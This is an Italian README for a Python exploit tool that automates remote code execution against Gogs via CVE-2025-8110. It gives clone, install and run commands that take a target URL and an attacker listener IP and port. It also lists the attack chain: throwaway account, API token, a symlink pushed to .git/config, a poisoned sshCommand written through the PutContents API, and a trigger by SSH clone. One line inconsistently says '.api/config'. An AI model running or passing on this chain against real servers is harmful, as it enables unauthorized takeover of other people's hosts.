
Script Python per la RCE di GOGS (cve-2025-8110) che automatizza l'intera catena di attacco: creazione di un repository con un file symlink che punta a .git/config e successivo innesco della RCE tramite una sshCommand avvelenata nel file di configurazione.
Gogs è un servizio Git leggero e auto-ospitato, simile a una versione privata di GitHub, progettato per funzionare facilmente su server con poche risorse. La vulnerabilità CVE-2025-8110 è una grave falla di sicurezza che consente a un attaccante di bypassare le restrizioni sui percorsi utilizzando symlink. Caricando un link dannoso che punta a .api/config, un attaccante può usare l'API di Gogs per incorporare un file di configurazione dannoso con il parametro sshCommand e ottenere RCE sul server host.
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# Print help
python3 ./cve-2025-8110.py --help
# Execute the attack chain with register step
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# Execute the attack chain skipping register | useful when register func returns err statement
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
Questo script segue una catena di attacco che prevede i seguenti passaggi:
1. Register & authenticate a throwaway account (Register skipped if creds are provided with -U and -P flags)
2. Obtain an API bearer token
3. Create an auto-initialised repository
4. Clone the repo locally and push a relative symlink malicious_link -> .git/config
5. PUT the malicious git config (with sshCommand) through the symlink via the PutContents API
6. Trigger the sshCommand by cloning the repo over SSH
Questo script è stato realizzato utilizzando la PoC di zAbuQasem (https://github.com/zAbuQasem)